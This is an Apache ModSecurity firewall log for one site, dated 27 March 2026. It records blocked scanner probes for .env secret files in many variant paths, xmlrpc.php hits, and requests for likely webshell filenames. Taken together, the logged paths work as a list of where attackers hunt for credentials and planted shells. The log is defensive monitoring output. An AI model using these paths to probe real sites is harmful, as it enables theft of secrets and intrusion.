[Fri Mar 27 11:31:51.435882 2026] [:error] [pid 4341:tid 4360] [client 172.69.186.200:10679] [client 172.69.186.200] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/app/.env"] [unique_id "acX6J-KJWrNB5dMlERGbVQAAAZE"]
[Fri Mar 27 11:31:51.628434 2026] [:error] [pid 4293:tid 4302] [client 172.69.186.174:12387] [client 172.69.186.174] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/api/.env"] [unique_id "acX6J5LjeJUC3OKtEx84AgAAAUc"]
[Fri Mar 27 11:31:51.655432 2026] [:error] [pid 27851:tid 27866] [client 172.69.186.208:12326] [client 172.69.186.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/admin/.env"] [unique_id "acX6J3R2ccxe3RMCLbps7wAAAMg"]
[Fri Mar 27 11:31:51.698332 2026] [:error] [pid 4293:tid 4299] [client 172.69.186.101:11682] [client 172.69.186.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/public/.env"] [unique_id "acX6J5LjeJUC3OKtEx84AwAAAUQ"]
[Fri Mar 27 11:31:51.717180 2026] [:error] [pid 27851:tid 27872] [client 172.69.186.151:12549] [client 172.69.186.151] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/core/.env"] [unique_id "acX6J3R2ccxe3RMCLbps8AAAAM4"]
[Fri Mar 27 11:31:51.905440 2026] [:error] [pid 4293:tid 4309] [client 172.69.186.200:10687] [client 172.69.186.200] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/private/.env"] [unique_id "acX6J5LjeJUC3OKtEx84BQAAAU4"]
[Fri Mar 27 11:31:51.964623 2026] [:error] [pid 4341:tid 4362] [client 172.69.186.171:13322] [client 172.69.186.171] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/config/.env.local"] [unique_id "acX6J-KJWrNB5dMlERGbVwAAAZM"]
[Fri Mar 27 11:31:52.169390 2026] [:error] [pid 27851:tid 27869] [client 172.69.186.101:12253] [client 172.69.186.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.json"] [unique_id "acX6KHR2ccxe3RMCLbps8gAAAMs"]
[Fri Mar 27 11:31:52.229250 2026] [:error] [pid 4293:tid 4314] [client 172.69.186.171:13328] [client 172.69.186.171] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env_backup"] [unique_id "acX6KJLjeJUC3OKtEx84BwAAAVM"]
[Fri Mar 27 11:31:52.450958 2026] [:error] [pid 4293:tid 4297] [client 172.69.186.200:10695] [client 172.69.186.200] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env~"] [unique_id "acX6KJLjeJUC3OKtEx84CgAAAUI"]
[Fri Mar 27 11:31:52.488334 2026] [:error] [pid 4293:tid 4301] [client 172.69.186.101:12255] [client 172.69.186.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env1"] [unique_id "acX6KJLjeJUC3OKtEx84CwAAAUY"]
[Fri Mar 27 11:31:52.718065 2026] [:error] [pid 4341:tid 4349] [client 172.69.186.170:12995] [client 172.69.186.170] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env2"] [unique_id "acX6KOKJWrNB5dMlERGbWQAAAYY"]
[Fri Mar 27 11:31:52.777898 2026] [:error] [pid 4293:tid 4308] [client 172.69.186.126:14275] [client 172.69.186.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.dist"] [unique_id "acX6KJLjeJUC3OKtEx84DgAAAU0"]
[Fri Mar 27 11:31:52.982876 2026] [:error] [pid 4341:tid 4347] [client 172.69.186.171:13331] [client 172.69.186.171] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.envrc"] [unique_id "acX6KOKJWrNB5dMlERGbXAAAAYQ"]
[Fri Mar 27 11:31:53.043618 2026] [:error] [pid 4293:tid 4319] [client 172.69.186.100:13422] [client 172.69.186.100] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.orig"] [unique_id "acX6KZLjeJUC3OKtEx84EQAAAVg"]
[Fri Mar 27 11:31:53.259726 2026] [:error] [pid 4341:tid 4350] [client 172.69.186.200:10699] [client 172.69.186.200] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.production.bak"] [unique_id "acX6KeKJWrNB5dMlERGbXgAAAYc"]
[Fri Mar 27 11:31:53.331364 2026] [:error] [pid 4341:tid 4345] [client 172.69.186.150:11967] [client 172.69.186.150] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.prod"] [unique_id "acX6KeKJWrNB5dMlERGbYAAAAYI"]
[Fri Mar 27 11:31:53.525779 2026] [:error] [pid 4293:tid 4318] [client 172.69.186.171:13339] [client 172.69.186.171] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.dev.local"] [unique_id "acX6KZLjeJUC3OKtEx84EgAAAVc"]
[Fri Mar 27 11:31:53.621966 2026] [:error] [pid 27851:tid 27865] [client 172.69.186.127:12386] [client 172.69.186.127] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.docker"] [unique_id "acX6KXR2ccxe3RMCLbps9AAAAMc"]
[Fri Mar 27 11:31:53.801682 2026] [:error] [pid 27851:tid 27858] [client 172.69.186.200:10706] [client 172.69.186.200] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.container"] [unique_id "acX6KXR2ccxe3RMCLbps9QAAAMA"]
[Fri Mar 27 11:31:53.913079 2026] [:error] [pid 4341:tid 4349] [client 172.69.186.150:11969] [client 172.69.186.150] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/docker/.env"] [unique_id "acX6KeKJWrNB5dMlERGbYgAAAYY"]
[Fri Mar 27 11:31:54.202461 2026] [:error] [pid 27851:tid 27870] [client 172.69.186.150:13799] [client 172.69.186.150] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/docker/.env.local"] [unique_id "acX6KnR2ccxe3RMCLbps-AAAAMw"]
[Fri Mar 27 11:31:54.470940 2026] [:error] [pid 27743:tid 27781] [client 172.69.186.170:13001] [client 172.69.186.170] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/server/.env"] [unique_id "acX6KiA46UYYLqzw99AyMQAAABE"]
[Fri Mar 27 11:31:54.753911 2026] [:error] [pid 4341:tid 4347] [client 172.69.186.150:13802] [client 172.69.186.150] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/srv/.env"] [unique_id "acX6KuKJWrNB5dMlERGbYwAAAYQ"]
[Fri Mar 27 11:31:54.755769 2026] [:error] [pid 4341:tid 4351] [client 172.69.186.170:13003] [client 172.69.186.170] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/web/.env"] [unique_id "acX6KuKJWrNB5dMlERGbZAAAAYg"]
[Fri Mar 27 11:31:55.016348 2026] [:error] [pid 63897:tid 63917] [client 172.69.186.171:13345] [client 172.69.186.171] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/site/.env"] [unique_id "acX6K2VSkmYmLu7ycYijRwAAARI"]
[Fri Mar 27 11:31:55.043217 2026] [:error] [pid 27851:tid 27863] [client 172.69.186.151:11637] [client 172.69.186.151] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/www/.env"] [unique_id "acX6K3R2ccxe3RMCLbps_AAAAMU"]
[Fri Mar 27 11:31:55.292746 2026] [:error] [pid 63897:tid 63914] [client 172.69.186.170:13009] [client 172.69.186.170] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/var/www/.env"] [unique_id "acX6K2VSkmYmLu7ycYijSAAAAQ8"]
[Fri Mar 27 11:31:55.332780 2026] [:error] [pid 27851:tid 27878] [client 172.69.186.127:12388] [client 172.69.186.127] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/var/www/html/.env"] [unique_id "acX6K3R2ccxe3RMCLbps_gAAANQ"]
[Fri Mar 27 11:31:55.568666 2026] [:error] [pid 63897:tid 63905] [client 172.69.186.200:10712] [client 172.69.186.200] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/home/.env"] [unique_id "acX6K2VSkmYmLu7ycYijSgAAAQY"]
[Fri Mar 27 11:31:55.598815 2026] [:error] [pid 4293:tid 4309] [client 172.69.186.209:14240] [client 172.69.186.209] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/root/.env"] [unique_id "acX6K5LjeJUC3OKtEx84FQAAAU4"]
[Fri Mar 27 11:31:55.831201 2026] [:error] [pid 4293:tid 4318] [client 172.69.186.100:13424] [client 172.69.186.100] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env_config"] [unique_id "acX6K5LjeJUC3OKtEx84FgAAAVc"]
[Fri Mar 27 11:31:55.865416 2026] [:error] [pid 4293:tid 4303] [client 172.69.186.171:13351] [client 172.69.186.171] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env_secret"] [unique_id "acX6K5LjeJUC3OKtEx84FwAAAUg"]
[Fri Mar 27 11:31:56.117991 2026] [:error] [pid 27743:tid 27786] [client 172.69.186.151:11640] [client 172.69.186.151] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env_settings"] [unique_id "acX6LCA46UYYLqzw99AyMgAAABY"]
[Fri Mar 27 11:31:56.141996 2026] [:error] [pid 27743:tid 27775] [client 172.69.186.201:12906] [client 172.69.186.201] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.local.backup"] [unique_id "acX6LCA46UYYLqzw99AyMwAAAAs"]
[Fri Mar 27 11:32:09.520946 2026] [:error] [pid 63897:tid 63912] [client 172.69.186.209:9347] [client 172.69.186.209] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env"] [unique_id "acX6OWVSkmYmLu7ycYijYAAAAQ0"]
[Fri Mar 27 11:32:11.565714 2026] [:error] [pid 4341:tid 4351] [client 172.69.186.100:12970] [client 172.69.186.100] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.php"] [unique_id "acX6O-KJWrNB5dMlERGbhQAAAYg"]
[Fri Mar 27 12:39:54.193425 2026] [:error] [pid 4341:tid 4343] [client 123.20.59.45:43066] [client 123.20.59.45] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 123.20.59.45, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "acYKGuKJWrNB5dMlERG_4AAAAYA"]
[Fri Mar 27 15:54:43.990117 2026] [:error] [pid 4293:tid 4316] [client 49.51.72.76:59366] [client 49.51.72.76] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "acY3w5LjeJUC3OKtEx_XhwAAAVU"]
[Fri Mar 27 16:33:52.268445 2026] [:error] [pid 27743:tid 27767] [client 37.46.115.19:16937] [client 37.46.115.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.46.115.19, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "acZA8CA46UYYLqzw99B3bAAAAAM"], referer: https://vetstars.com.au/
[Fri Mar 27 18:39:40.919436 2026] [:error] [pid 27743:tid 27782] [client 51.103.152.71:37033] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-cxs.php"] [unique_id "acZebCA46UYYLqzw99C5UwAAABI"]
[Fri Mar 27 18:39:52.741052 2026] [:error] [pid 4293:tid 4308] [client 51.103.152.71:23621] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-cxs.php"] [unique_id "acZeeJLjeJUC3OKtEx9IkgAAAU0"]
[Fri Mar 27 18:39:55.140011 2026] [:error] [pid 4293:tid 4314] [client 51.103.152.71:29257] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-cxs.php"] [unique_id "acZee5LjeJUC3OKtEx9IoAAAAVM"]
[Fri Mar 27 18:39:57.651541 2026] [:error] [pid 27749:tid 27794] [client 51.103.152.71:30484] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-scanner.php"] [unique_id "acZefcEqyoMni2Q6_X7kUgAAAEM"]
[Fri Mar 27 18:39:59.695506 2026] [:error] [pid 4341:tid 4354] [client 51.103.152.71:29288] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-scanner.php"] [unique_id "acZef-KJWrNB5dMlERGCmAAAAYs"]
[Fri Mar 27 18:40:01.039514 2026] [:error] [pid 27750:tid 27842] [client 51.103.152.71:10770] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-scanner.php"] [unique_id "acZegYaSil5rd17ieLzg-QAAAJg"]
[Fri Mar 27 18:40:01.726468 2026] [:error] [pid 27743:tid 27765] [client 51.103.152.71:26184] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-scanner.php"] [unique_id "acZegSA46UYYLqzw99C5iQAAAAE"]
[Fri Mar 27 18:40:04.802025 2026] [:error] [pid 4293:tid 4296] [client 51.103.152.71:29243] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/awh.php"] [unique_id "acZehJLjeJUC3OKtEx9IrAAAAUE"]
[Fri Mar 27 18:40:08.103060 2026] [:error] [pid 4293:tid 4300] [client 51.103.152.71:30495] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/awh.php"] [unique_id "acZeiJLjeJUC3OKtEx9IrwAAAUU"]
[Fri Mar 27 18:40:09.403852 2026] [:error] [pid 27851:tid 27880] [client 51.103.152.71:16330] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/awh.php"] [unique_id "acZeiXR2ccxe3RMCLbrbwQAAANY"]
[Fri Mar 27 18:40:11.104117 2026] [:error] [pid 4293:tid 4311] [client 51.103.152.71:26159] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/awh.php"] [unique_id "acZei5LjeJUC3OKtEx9IuQAAAVA"]
[Fri Mar 27 18:40:14.880632 2026] [:error] [pid 4341:tid 4359] [client 51.103.152.71:19721] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/24.php"] [unique_id "acZejuKJWrNB5dMlERGCtAAAAZA"]
[Fri Mar 27 18:40:16.592702 2026] [:error] [pid 27750:tid 27835] [client 51.103.152.71:18981] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/24.php"] [unique_id "acZekIaSil5rd17ieLzhBQAAAJE"]
[Fri Mar 27 18:40:17.546882 2026] [:error] [pid 27743:tid 27783] [client 51.103.152.71:58575] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/24.php"] [unique_id "acZekSA46UYYLqzw99C5mAAAABM"]
[Fri Mar 27 18:40:18.589133 2026] [:error] [pid 4293:tid 4310] [client 51.103.152.71:12395] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/24.php"] [unique_id "acZekpLjeJUC3OKtEx9I0QAAAU8"]
[Fri Mar 27 18:40:19.500343 2026] [:error] [pid 27749:tid 27797] [client 51.103.152.71:16641] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zz8.php"] [unique_id "acZek8EqyoMni2Q6_X7kXgAAAEY"]
[Fri Mar 27 18:40:22.551973 2026] [:error] [pid 4293:tid 4302] [client 51.103.152.71:37022] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zz8.php"] [unique_id "acZelpLjeJUC3OKtEx9I4wAAAUc"]
